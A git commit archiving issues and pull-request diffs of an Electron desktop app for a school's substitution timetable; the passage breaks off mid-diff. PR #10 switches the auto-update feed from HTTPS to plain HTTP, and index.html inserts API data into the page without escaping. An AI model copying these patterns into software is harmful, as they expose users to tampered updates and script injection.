commit 990e6cbf77d6d91d26ea454bbd40bd29d716342f
Author: Phorge Migration <migration@localhost>
Date: Tue, 21 Jul 2026 18:20:40 +0200
Archive issues/PRs export for MTRNord/ls-vertretungsplan-desktop
Diffstat:
52 files changed, 6537 insertions(+), 0 deletions(-)
diff --git a/issues/11.json b/issues/11.json
@@ -0,0 +1,22 @@
+{
+ "number": 11,
+ "title": "Add Help",
+ "state": "closed",
+ "author": "MTRNord",
+ "created_at": "2016-09-17T10:38:07Z",
+ "closed_at": "2016-11-28T09:10:17Z",
+ "labels": [
+ "enhancement"
+ ],
+ "assignees": [
+ "MTRNord"
+ ],
+ "body": "",
+ "comments": [
+ {
+ "author": "MTRNord",
+ "created_at": "2016-11-28T09:10:17Z",
+ "body": "Basic Help is implemented."
+ }
+ ]
+}
diff --git a/issues/11.md b/issues/11.md
@@ -0,0 +1,20 @@
+# #11 Add Help
+
+- **State:** closed
+- **Author:** @MTRNord
+- **Created:** 2016-09-17T10:38:07Z
+- **Closed:** 2016-11-28T09:10:17Z
+- **Labels:** enhancement
+- **Assignees:** @MTRNord
+
+---
+
+_No description._
+
+
+## Comments
+
+### @MTRNord — 2016-11-28T09:10:17Z
+
+Basic Help is implemented.
+
diff --git a/issues/12.json b/issues/12.json
@@ -0,0 +1,29 @@
+{
+ "number": 12,
+ "title": "Add CrashReporter",
+ "state": "open",
+ "author": "MTRNord",
+ "created_at": "2016-09-17T10:38:26Z",
+ "closed_at": null,
+ "labels": [
+ "enhancement",
+ "help wanted",
+ "Upstream Bug"
+ ],
+ "assignees": [
+ "MTRNord"
+ ],
+ "body": "",
+ "comments": [
+ {
+ "author": "MTRNord",
+ "created_at": "2016-09-23T10:49:48Z",
+ "body": "Seems to work but needs more tests\n"
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2016-11-11T09:36:25Z",
+ "body": "Problems because of internal Electron error\n"
+ }
+ ]
+}
diff --git a/issues/12.md b/issues/12.md
@@ -0,0 +1,25 @@
+# #12 Add CrashReporter
+
+- **State:** open
+- **Author:** @MTRNord
+- **Created:** 2016-09-17T10:38:26Z
+- **Labels:** enhancement, help wanted, Upstream Bug
+- **Assignees:** @MTRNord
+
+---
+
+_No description._
+
+
+## Comments
+
+### @MTRNord — 2016-09-23T10:49:48Z
+
+Seems to work but needs more tests
+
+
+### @MTRNord — 2016-11-11T09:36:25Z
+
+Problems because of internal Electron error
+
+
diff --git a/issues/13.json b/issues/13.json
@@ -0,0 +1,22 @@
+{
+ "number": 13,
+ "title": "Add functionality to tell user about updates even if the autoUpdater is Broken",
+ "state": "open",
+ "author": "MTRNord",
+ "created_at": "2016-09-17T10:39:12Z",
+ "closed_at": null,
+ "labels": [
+ "enhancement"
+ ],
+ "assignees": [
+ "MTRNord"
+ ],
+ "body": "",
+ "comments": [
+ {
+ "author": "MTRNord",
+ "created_at": "2016-11-29T09:30:38Z",
+ "body": "# Proof of concept:\r\n\r\nWebserver with Websocket checks if latest release has the file with name \"manual\" and sends the context of on every client login. The client tells the user about the manual update.\r\n\r\n# Resources:\r\n- socket.io\r\n- https://developer.github.com/v3/repos/releases/#get-the-latest-release"
+ }
+ ]
+}
diff --git a/issues/13.md b/issues/13.md
@@ -0,0 +1,25 @@
+# #13 Add functionality to tell user about updates even if the autoUpdater is Broken
+
+- **State:** open
+- **Author:** @MTRNord
+- **Created:** 2016-09-17T10:39:12Z
+- **Labels:** enhancement
+- **Assignees:** @MTRNord
+
+---
+
+_No description._
+
+
+## Comments
+
+### @MTRNord — 2016-11-29T09:30:38Z
+
+# Proof of concept:
+
+Webserver with Websocket checks if latest release has the file with name "manual" and sends the context of on every client login. The client tells the user about the manual update.
+
+# Resources:
+- socket.io
+- https://developer.github.com/v3/repos/releases/#get-the-latest-release
+
diff --git a/issues/14.json b/issues/14.json
@@ -0,0 +1,27 @@
+{
+ "number": 14,
+ "title": "Add manual AutoUpdater Trigger",
+ "state": "closed",
+ "author": "MTRNord",
+ "created_at": "2016-09-17T10:39:50Z",
+ "closed_at": "2016-11-25T07:25:19Z",
+ "labels": [
+ "enhancement"
+ ],
+ "assignees": [
+ "MTRNord"
+ ],
+ "body": "",
+ "comments": [
+ {
+ "author": "MTRNord",
+ "created_at": "2016-11-11T09:33:27Z",
+ "body": "Manual Update trigger is in the About page which I am still working on.\n"
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2016-11-25T07:25:19Z",
+ "body": "Button is integrated and workind in the Dev Branch"
+ }
+ ]
+}
diff --git a/issues/14.md b/issues/14.md
@@ -0,0 +1,25 @@
+# #14 Add manual AutoUpdater Trigger
+
+- **State:** closed
+- **Author:** @MTRNord
+- **Created:** 2016-09-17T10:39:50Z
+- **Closed:** 2016-11-25T07:25:19Z
+- **Labels:** enhancement
+- **Assignees:** @MTRNord
+
+---
+
+_No description._
+
+
+## Comments
+
+### @MTRNord — 2016-11-11T09:33:27Z
+
+Manual Update trigger is in the About page which I am still working on.
+
+
+### @MTRNord — 2016-11-25T07:25:19Z
+
+Button is integrated and workind in the Dev Branch
+
diff --git a/issues/15.json b/issues/15.json
@@ -0,0 +1,27 @@
+{
+ "number": 15,
+ "title": "Add persistent settings",
+ "state": "open",
+ "author": "MTRNord",
+ "created_at": "2016-09-17T10:40:02Z",
+ "closed_at": null,
+ "labels": [
+ "enhancement"
+ ],
+ "assignees": [
+ "MTRNord"
+ ],
+ "body": "",
+ "comments": [
+ {
+ "author": "MTRNord",
+ "created_at": "2016-09-23T10:50:25Z",
+ "body": "Saving last class is working\n"
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2017-07-05T11:42:22Z",
+ "body": "Possible and planned in v2"
+ }
+ ]
+}
diff --git a/issues/15.md b/issues/15.md
@@ -0,0 +1,24 @@
+# #15 Add persistent settings
+
+- **State:** open
+- **Author:** @MTRNord
+- **Created:** 2016-09-17T10:40:02Z
+- **Labels:** enhancement
+- **Assignees:** @MTRNord
+
+---
+
+_No description._
+
+
+## Comments
+
+### @MTRNord — 2016-09-23T10:50:25Z
+
+Saving last class is working
+
+
+### @MTRNord — 2017-07-05T11:42:22Z
+
+Possible and planned in v2
+
diff --git a/issues/16.json b/issues/16.json
@@ -0,0 +1,29 @@
+{
+ "number": 16,
+ "title": "Add autoUpdater Branches",
+ "state": "open",
+ "author": "MTRNord",
+ "created_at": "2016-09-17T10:40:32Z",
+ "closed_at": null,
+ "labels": [
+ "enhancement",
+ "Unsafe Future",
+ "Upstream Bug"
+ ],
+ "assignees": [
+ "MTRNord"
+ ],
+ "body": "",
+ "comments": [
+ {
+ "author": "MTRNord",
+ "created_at": "2016-11-03T21:52:37Z",
+ "body": "Working on it as I am working on an Jenkins Build Setup. (Nightlys will come)\n"
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2016-11-28T10:09:53Z",
+ "body": "Switched autouodater so currently not supported"
+ }
+ ]
+}
diff --git a/issues/16.md b/issues/16.md
@@ -0,0 +1,24 @@
+# #16 Add autoUpdater Branches
+
+- **State:** open
+- **Author:** @MTRNord
+- **Created:** 2016-09-17T10:40:32Z
+- **Labels:** enhancement, Unsafe Future, Upstream Bug
+- **Assignees:** @MTRNord
+
+---
+
+_No description._
+
+
+## Comments
+
+### @MTRNord — 2016-11-03T21:52:37Z
+
+Working on it as I am working on an Jenkins Build Setup. (Nightlys will come)
+
+
+### @MTRNord — 2016-11-28T10:09:53Z
+
+Switched autouodater so currently not supported
+
diff --git a/issues/17.json b/issues/17.json
@@ -0,0 +1,44 @@
+{
+ "number": 17,
+ "title": "Add public Statistics about app meta-data",
+ "state": "open",
+ "author": "MTRNord",
+ "created_at": "2016-09-17T10:40:50Z",
+ "closed_at": null,
+ "labels": [
+ "enhancement",
+ "help wanted",
+ "Unsafe Future"
+ ],
+ "assignees": [
+ "MTRNord"
+ ],
+ "body": "",
+ "comments": [
+ {
+ "author": "johan12345",
+ "created_at": "2016-09-17T11:33:42Z",
+ "body": "Even though they are only based on publically available data, I don't know if the school would like it if the statistics were publically available...\n"
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2016-09-17T11:37:13Z",
+ "body": "Ok ok it would more likely by me and It should more contain things like an public issue tracker based on the crash reporter. At this point it is still an idea.\n"
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2016-09-17T11:40:16Z",
+ "body": "An alternative would be to just open the crash reporter page. The \"Stats\" should only contain how many downloads and which versions are used. (The Play Store has simmiliar features ;) ) \n"
+ },
+ {
+ "author": "johan12345",
+ "created_at": "2016-09-17T11:44:10Z",
+ "body": "Oh, I thought you were talking about a different kind of statistics, like how many lessons were canceled etc. Statistics about crash reports or which versions are used are probably fine (though probably less interesting ;)) \n"
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2016-09-17T11:46:29Z",
+ "body": "As I am \"only a API client\" I have nothing to do with stats in that way ;)\n"
+ }
+ ]
+}
diff --git a/issues/17.md b/issues/17.md
@@ -0,0 +1,40 @@
+# #17 Add public Statistics about app meta-data
+
+- **State:** open
+- **Author:** @MTRNord
+- **Created:** 2016-09-17T10:40:50Z
+- **Labels:** enhancement, help wanted, Unsafe Future
+- **Assignees:** @MTRNord
+
+---
+
+_No description._
+
+
+## Comments
+
+### @johan12345 — 2016-09-17T11:33:42Z
+
+Even though they are only based on publically available data, I don't know if the school would like it if the statistics were publically available...
+
+
+### @MTRNord — 2016-09-17T11:37:13Z
+
+Ok ok it would more likely by me and It should more contain things like an public issue tracker based on the crash reporter. At this point it is still an idea.
+
+
+### @MTRNord — 2016-09-17T11:40:16Z
+
+An alternative would be to just open the crash reporter page. The "Stats" should only contain how many downloads and which versions are used. (The Play Store has simmiliar features ;) )
+
+
+### @johan12345 — 2016-09-17T11:44:10Z
+
+Oh, I thought you were talking about a different kind of statistics, like how many lessons were canceled etc. Statistics about crash reports or which versions are used are probably fine (though probably less interesting ;))
+
+
+### @MTRNord — 2016-09-17T11:46:29Z
+
+As I am "only a API client" I have nothing to do with stats in that way ;)
+
+
diff --git a/issues/18.json b/issues/18.json
@@ -0,0 +1,52 @@
+{
+ "number": 18,
+ "title": "Use lastUpdate variable",
+ "state": "open",
+ "author": "MTRNord",
+ "created_at": "2017-02-16T09:54:00Z",
+ "closed_at": null,
+ "labels": [
+ "enhancement"
+ ],
+ "assignees": [
+ "MTRNord"
+ ],
+ "body": "Use lastUpdate Variable to do auto refresh",
+ "comments": [
+ {
+ "author": "johan12345",
+ "created_at": "2017-02-16T09:56:18Z",
+ "body": "`lastUpdate` only shows the last time where the server refreshed the schedule from the school website (which is approximately once per minute). I'm not sure if that is what you need."
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2017-02-16T10:18:30Z",
+ "body": "Ah I thaught that it shows when there was the last time something different :/"
+ },
+ {
+ "author": "johan12345",
+ "created_at": "2017-02-16T10:20:36Z",
+ "body": "No. There is the `lastChange` field that shows the \"Stand\" from the schedule (but that's not necessarily the same time when it was uploaded to the website and downloaded by my server)."
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2017-02-16T10:22:40Z",
+ "body": "Ok than that is the better way to go. Means I can check if that (`lastChange` ) changed from the previous request?"
+ },
+ {
+ "author": "johan12345",
+ "created_at": "2017-02-16T10:24:34Z",
+ "body": "You can, but I can't guarantee that there is no change on the schedule when `lastChange` did not change (because the school might be able to edit the schedule without updating the displayed \"Stand\"). Why don't you just compare the whole schedule?"
+ },
+ {
+ "author": "MTRNord",
+ "created_at": "2017-02-16T10:25:26Z",
+ "body": "Wanted to keep it fast :) It is a little faster to compare 1 field vs multiple fields. But I will try both"
+ },
+ {
+ "author": "johan12345",
+ "created_at": "2017-02-16T10:26:03Z",
+ "body": "Well, with today's computing power you probably won't notice \ud83d\ude09 "
+ }
+ ]
+}
diff --git a/issues/18.md b/issues/18.md
@@ -0,0 +1,43 @@
+# #18 Use lastUpdate variable
+
+- **State:** open
+- **Author:** @MTRNord
+- **Created:** 2017-02-16T09:54:00Z
+- **Labels:** enhancement
+- **Assignees:** @MTRNord
+
+---
+
+Use lastUpdate Variable to do auto refresh
+
+
+## Comments
+
+### @johan12345 — 2017-02-16T09:56:18Z
+
+`lastUpdate` only shows the last time where the server refreshed the schedule from the school website (which is approximately once per minute). I'm not sure if that is what you need.
+
+### @MTRNord — 2017-02-16T10:18:30Z
+
+Ah I thaught that it shows when there was the last time something different :/
+
+### @johan12345 — 2017-02-16T10:20:36Z
+
+No. There is the `lastChange` field that shows the "Stand" from the schedule (but that's not necessarily the same time when it was uploaded to the website and downloaded by my server).
+
+### @MTRNord — 2017-02-16T10:22:40Z
+
+Ok than that is the better way to go. Means I can check if that (`lastChange` ) changed from the previous request?
+
+### @johan12345 — 2017-02-16T10:24:34Z
+
+You can, but I can't guarantee that there is no change on the schedule when `lastChange` did not change (because the school might be able to edit the schedule without updating the displayed "Stand"). Why don't you just compare the whole schedule?
+
+### @MTRNord — 2017-02-16T10:25:26Z
+
+Wanted to keep it fast :) It is a little faster to compare 1 field vs multiple fields. But I will try both
+
+### @johan12345 — 2017-02-16T10:26:03Z
+
+Well, with today's computing power you probably won't notice 😉
+
diff --git a/issues/19.json b/issues/19.json
@@ -0,0 +1,14 @@
+{
+ "number": 19,
+ "title": "Action required: Greenkeeper could not be activated \ud83d\udea8",
+ "state": "open",
+ "author": "greenkeeper[bot]",
+ "created_at": "2017-06-02T08:04:30Z",
+ "closed_at": null,
+ "labels": [
+ "greenkeeper"
+ ],
+ "assignees": [],
+ "body": "\ud83d\udea8 You need to enable Continuous Integration on all branches of this repository. \ud83d\udea8\n\nTo enable Greenkeeper, you need to make sure that a [commit status](https://help.github.com/articles/about-statuses/) is reported on all branches. This is required by Greenkeeper because we are using your CI build statuses to figure out when to notify you about breaking changes.\n\nSince we did not receive a CI status on the [`greenkeeper/initial`](https://github.com/MTRNord/ls-vertretungsplan-desktop/commits/greenkeeper/initial) branch, we assume that you still need to configure it.\n\nIf you have already set up a CI for this repository, you might need to check your configuration. Make sure it will run on all new branches. If you don\u2019t want it to run on every branch, you can whitelist branches starting with `greenkeeper/`.\n\nWe recommend using [Travis CI](https://travis-ci.org), but Greenkeeper will work with every other CI service as well.\n",
+ "comments": []
+}
diff --git a/issues/19.md b/issues/19.md
@@ -0,0 +1,20 @@
+# #19 Action required: Greenkeeper could not be activated 🚨
+
+- **State:** open
+- **Author:** @greenkeeper[bot]
+- **Created:** 2017-06-02T08:04:30Z
+- **Labels:** greenkeeper
+
+---
+
+🚨 You need to enable Continuous Integration on all branches of this repository. 🚨
+
+To enable Greenkeeper, you need to make sure that a [commit status](https://help.github.com/articles/about-statuses/) is reported on all branches. This is required by Greenkeeper because we are using your CI build statuses to figure out when to notify you about breaking changes.
+
+Since we did not receive a CI status on the [`greenkeeper/initial`](https://github.com/MTRNord/ls-vertretungsplan-desktop/commits/greenkeeper/initial) branch, we assume that you still need to configure it.
+
+If you have already set up a CI for this repository, you might need to check your configuration. Make sure it will run on all new branches. If you don’t want it to run on every branch, you can whitelist branches starting with `greenkeeper/`.
+
+We recommend using [Travis CI](https://travis-ci.org), but Greenkeeper will work with every other CI service as well.
+
+
diff --git a/issues/20.json b/issues/20.json
@@ -0,0 +1,16 @@
+{
+ "number": 20,
+ "title": "New types are missing",
+ "state": "closed",
+ "author": "MTRNord",
+ "created_at": "2017-07-05T11:46:36Z",
+ "closed_at": "2017-07-05T11:46:42Z",
+ "labels": [
+ "bug"
+ ],
+ "assignees": [
+ "MTRNord"
+ ],
+ "body": "Fixed in v2 so immediately closing",
+ "comments": []
+}
diff --git a/issues/20.md b/issues/20.md
@@ -0,0 +1,13 @@
+# #20 New types are missing
+
+- **State:** closed
+- **Author:** @MTRNord
+- **Created:** 2017-07-05T11:46:36Z
+- **Closed:** 2017-07-05T11:46:42Z
+- **Labels:** bug
+- **Assignees:** @MTRNord
+
+---
+
+Fixed in v2 so immediately closing
+
diff --git a/issues/21.json b/issues/21.json
@@ -0,0 +1,14 @@
+{
+ "number": 21,
+ "title": "[v2] Make colors defineable like in android",
+ "state": "open",
+ "author": "MTRNord",
+ "created_at": "2017-07-05T17:47:49Z",
+ "closed_at": null,
+ "labels": [
+ "enhancement"
+ ],
+ "assignees": [],
+ "body": "",
+ "comments": []
+}
diff --git a/issues/21.md b/issues/21.md
@@ -0,0 +1,11 @@
+# #21 [v2] Make colors defineable like in android
+
+- **State:** open
+- **Author:** @MTRNord
+- **Created:** 2017-07-05T17:47:49Z
+- **Labels:** enhancement
+
+---
+
+_No description._
+
diff --git a/pulls/1.diff b/pulls/1.diff
@@ -0,0 +1,10 @@
+diff --git a/README.md b/README.md
+index 1abcc18..be721d6 100644
+--- a/README.md
++++ b/README.md
+@@ -1,2 +1,5 @@
+ # ls-vertretungsplan-desktop
+ UNOFFICIAL Desktop App for the schedule of Lornsenschule, Schleswig
++
++# NOT WORKING FOR YOU YET!!!!!!
++This Desktop App uses an API by @johan12345 that is NOT managed by me! I don't have the right to use it here so I don't provide the link to it or an compiled version of it.
diff --git a/pulls/1.json b/pulls/1.json
@@ -0,0 +1,18 @@
+{
+ "number": 1,
+ "title": "Update README",
+ "state": "merged",
+ "diff_file": "1.diff",
+ "author": "MTRNord",
+ "created_at": "2016-03-13T14:16:02Z",
+ "closed_at": "2016-03-13T14:16:05Z",
+ "merged_at": "2016-03-13T14:16:05Z",
+ "base_ref": "develop",
+ "head_ref": "master",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/1.md b/pulls/1.md
@@ -0,0 +1,13 @@
+# PR #1 Update README
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-03-13T14:16:02Z
+- **Branch:** master → develop
+- **Merged:** 2016-03-13T14:16:05Z
+- **Diff:** [1.diff](./1.diff)
+
+---
+
+_No description._
+
diff --git a/pulls/10.diff b/pulls/10.diff
@@ -0,0 +1,87 @@
+diff --git a/app/main.js b/app/main.js
+index 3277eef..e275dd8 100644
+--- a/app/main.js
++++ b/app/main.js
+@@ -9,18 +9,35 @@ let win
+ function update () {
+ console.warn("Starting Autoupdater")
+ console.warn(app.getVersion())
+- var feedUrl = 'https://ls-desktop.herokuapp.com/update/' + os.platform() + '/' + app.getVersion() + '/';
++ var feedUrl = 'http://ls-desktop.herokuapp.com/update/' + os.platform() + '/' + app.getVersion() + '/';
+ autoUpdater.setFeedURL(feedUrl);
+
+- autoUpdater.checkForUpdates()
++ console.log('created');
++ autoUpdater.on('checking-for-update', function() {
++ console.log("checking-for-update");
++ });
++
++ autoUpdater.on('update-available', function() {
++ console.log("update-available");
++ });
++
++ autoUpdater.on('update-not-available', function() {
++ console.log("update-not-available");
++ });
++
++ autoUpdater.on('update-downloaded', function() {
++ console.log(" update-downloaded");
++ });
++
++ setTimeout(function() {autoUpdater.checkForUpdates()}, 10000);
+
+ autoUpdater.on('update-downloaded', function (event, releaseNotes, releaseName, releaseDate, updateUrl, quitAndUpdate) {
+
+- var index = dialog.showMessageBox(mainWindow, {
++ var index = dialog.showMessageBox({
+ type: 'info',
+ buttons: ['Restart', 'Later'],
+ title: "Lornsenschule Vertretungsplan",
+- message: i18n.__('The new version has been downloaded. Please restart the application to apply the updates.'),
++ message: ('The new version has been downloaded. Please restart the application to apply the updates.'),
+ detail: releaseName + "\n\n" + releaseNotes
+ });
+
+@@ -28,7 +45,7 @@ function update () {
+ return;
+ }
+
+- autoUpdater.quitAndUpdate();
++ quitAndUpdate()
+ });
+ }
+
+diff --git a/app/package.json b/app/package.json
+index 700d1d0..1875be0 100644
+--- a/app/package.json
++++ b/app/package.json
+@@ -1,7 +1,7 @@
+ {
+ "name": "ls_vertretungsplan_desktop",
+ "productName": "Lornsenschule Vertretungsplan",
+- "version": "0.1.0",
++ "version": "0.1.1",
+ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
+ "main": "./main.js",
+ "author": {
+diff --git a/package.json b/package.json
+index 6ce419b..7630cdc 100644
+--- a/package.json
++++ b/package.json
+@@ -1,6 +1,6 @@
+ {
+ "name": "ls_vertretungsplan_desktop",
+- "version": "0.1.0",
++ "version": "0.1.1",
+ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
+ "author": "Marcel Radzio",
+ "license": "",
+@@ -34,7 +34,7 @@
+ },
+ "win": {
+ "iconUrl": "https://github.com/MTRNord/ls-vertretungsplan-desktop/tree/master/app/LS.ico?raw=true",
+- "remoteReleases": "http://ls-desktop.herokuapp.com/download/0.0.4/",
++ "remoteReleases": "http://ls-desktop.herokuapp.com/download/0.1.0/",
+ "icon": "app/LS.ico"
+ },
+ "linux": {
diff --git a/pulls/10.json b/pulls/10.json
@@ -0,0 +1,18 @@
+{
+ "number": 10,
+ "title": "fix finally Autoupdater",
+ "state": "merged",
+ "diff_file": "10.diff",
+ "author": "MTRNord",
+ "created_at": "2016-09-04T17:54:35Z",
+ "closed_at": "2016-09-04T17:54:39Z",
+ "merged_at": "2016-09-04T17:54:39Z",
+ "base_ref": "master",
+ "head_ref": "develop",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "<!-- Reviewable:start -->\n\nThis change is [<img src=\"https://reviewable.io/review_button.svg\" height=\"34\" align=\"absmiddle\" alt=\"Reviewable\"/>](https://reviewable.io/reviews/mtrnord/ls-vertretungsplan-desktop/10)\n\n<!-- Reviewable:end -->\n",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/10.md b/pulls/10.md
@@ -0,0 +1,18 @@
+# PR #10 fix finally Autoupdater
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-09-04T17:54:35Z
+- **Branch:** develop → master
+- **Merged:** 2016-09-04T17:54:39Z
+- **Diff:** [10.diff](./10.diff)
+
+---
+
+<!-- Reviewable:start -->
+
+This change is [<img src="https://reviewable.io/review_button.svg" height="34" align="absmiddle" alt="Reviewable"/>](https://reviewable.io/reviews/mtrnord/ls-vertretungsplan-desktop/10)
+
+<!-- Reviewable:end -->
+
+
diff --git a/pulls/2.diff b/pulls/2.diff
@@ -0,0 +1,2782 @@
+diff --git a/.codeclimate.yml b/.codeclimate.yml
+new file mode 100644
+index 0000000..049d01f
+--- /dev/null
++++ b/.codeclimate.yml
+@@ -0,0 +1,18 @@
++---
++engines:
++ fixme:
++ enabled: true
++ csslint:
++ enabled: true
++ duplication:
++ enabled: true
++ config:
++ languages:
++ - javascript
++ fixme:
++ enabled: true
++ratings:
++ paths: []
++exclude_paths:
++- "app/js/**"
++- "app/css/**"
+diff --git a/.csslintrc b/.csslintrc
+new file mode 100644
+index 0000000..aacba95
+--- /dev/null
++++ b/.csslintrc
+@@ -0,0 +1,2 @@
++--exclude-exts=.min.css
++--ignore=adjoining-classes,box-model,ids,order-alphabetical,unqualified-attributes
+diff --git a/.gitignore b/.gitignore
+index e920c16..c6a79c6 100644
+--- a/.gitignore
++++ b/.gitignore
+@@ -22,6 +22,9 @@ coverage
+
+ # Compiled binary addons (http://nodejs.org/api/addons.html)
+ build/Release
++build
++prebuild
++cache
+
+ # Dependency directory
+ node_modules
+@@ -31,3 +34,4 @@ node_modules
+
+ # Optional REPL history
+ .node_repl_history
++LS.ico
+\ No newline at end of file
+diff --git a/README.md b/README.md
+index be721d6..2442dc1 100644
+--- a/README.md
++++ b/README.md
+@@ -3,3 +3,10 @@ UNOFFICIAL Desktop App for the schedule of Lornsenschule, Schleswig
+
+ # NOT WORKING FOR YOU YET!!!!!!
+ This Desktop App uses an API by @johan12345 that is NOT managed by me! I don't have the right to use it here so I don't provide the link to it or an compiled version of it.
++
++# How to Build (If you find the URL to the API ^^)
++
++1. Clone the Repository
++2. Run `npm install`
++3. If You use Windows run `build.cmd` otherwise go to 4
++4. Everybody else go into the app directory and run `npm install` and now run `node build.js` in the root
+\ No newline at end of file
+diff --git a/app/.gitignore b/app/.gitignore
+new file mode 100644
+index 0000000..e19b3a4
+--- /dev/null
++++ b/app/.gitignore
+@@ -0,0 +1,36 @@
++# Logs
++logs
++*.log
++npm-debug.log*
++
++# Runtime data
++pids
++*.pid
++*.seed
++
++# Directory for instrumented libs generated by jscoverage/JSCover
++lib-cov
++
++# Coverage directory used by tools like istanbul
++coverage
++
++# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
++.grunt
++
++# node-waf configuration
++.lock-wscript
++
++# Compiled binary addons (http://nodejs.org/api/addons.html)
++build/Release
++build
++cache
++
++# Dependency directory
++node_modules
++
++# Optional npm cache directory
++.npm
++
++# Optional REPL history
++.node_repl_history
++LS.ico
+\ No newline at end of file
+diff --git a/app/index.html b/app/index.html
+new file mode 100644
+index 0000000..31739b7
+--- /dev/null
++++ b/app/index.html
+@@ -0,0 +1,119 @@
++<!DOCTYPE html>
++<html>
++ <head>
++ <meta charset="utf-8">
++ <meta http-equiv="X-UA-Compatible" content="IE=edge">
++ <meta name="viewport" content="width=device-width, initial-scale=1">
++ <!-- Material Design fonts -->
++ <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700">
++ <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/icon?family=Material+Icons">
++ <link rel="stylesheet" href="https://cdn.rawgit.com/FezVrasta/bootstrap-material-design/dist/dist/bootstrap-material-design.min.css">
++ <title>Lornsenschule Vertretungsplan</title>
++ </head>
++ <body>
++ <div class="bmd-layout-container">
++ <main class="bmd-layout-content">
++ <div class="container" id="representations">
++ <h1 id="school"></h1></br>
++
++ </div>
++ </main>
++ </div>
++
++ <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
++ <script>
++ window.$ = window.jQuery = require('./js/jquery-3.1.0.min.js');
++ var request = require("request")
++ //<!-- http://THIS_IS_AN_SECRET_DOMAIN -->
++ var url = "http://THIS_IS_AN_SECRET_DOMAIN/vertretungsplan?" +
++ "school=Schleswig_Lornsenschule" +
++ "&v=1337"
++
++ if (typeof jQuery == 'undefined') {
++ console.warn("JQUERY NOT LOADED!!!");
++ }
++
++ request({
++ url: url,
++ json: true
++ }, function (error, response, body) {
++
++ if (!error && response.statusCode === 200) {
++ //var lsJson = JSON.parse(body);
++ document.all.school.innerHTML = body.schoolName + ' Vertretungsplan'; // Print the json response
++ for (var key in body.tage) {
++ if (body.tage.hasOwnProperty(key)) {
++ //////////////////////////////////////////////////////////////
++ //////////////////////////////////////////////////////////////
++ // //
++ // 1 == morgen //
++ // 0 == heute //
++ // //
++ //////////////////////////////////////////////////////////////
++ //////////////////////////////////////////////////////////////
++ if (key == 1) {
++ classes = body.tage[key].klassen
++ for (var key in classes) {
++ if (classes.hasOwnProperty(key)) {
++ klassen = classes[key]
++ klasse = klassen.klasse
++ $("#representations").append('<h3>' + klasse + '</h3>')
++ representations = classes[key].vertretung
++ for (var key in representations) {
++ if (representations.hasOwnProperty(key)) {
++ representations_details = representations[key]
++ var reg = new RegExp('[-]');
++ lesson = representations_details.lesson
++ representation_type = representations_details.type
++ text = representations_details.text
++ if (representation_type == "Vertretung") {
++ if (lesson.match(reg)) {
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }else{
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }else{
++ if (representation_type == "Betreuung") {
++ if (lesson.match(reg)) {
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }else{
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #2196F3; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }else{
++ if (representation_type == "Unterricht geändert") {
++ if (lesson.match(reg)) {
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 300%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }else{
++ $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #FFA000; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
++ }
++ }else{
++ if (representation_type == "Lehrertausch") {
++ if (lesson.match(reg)) {
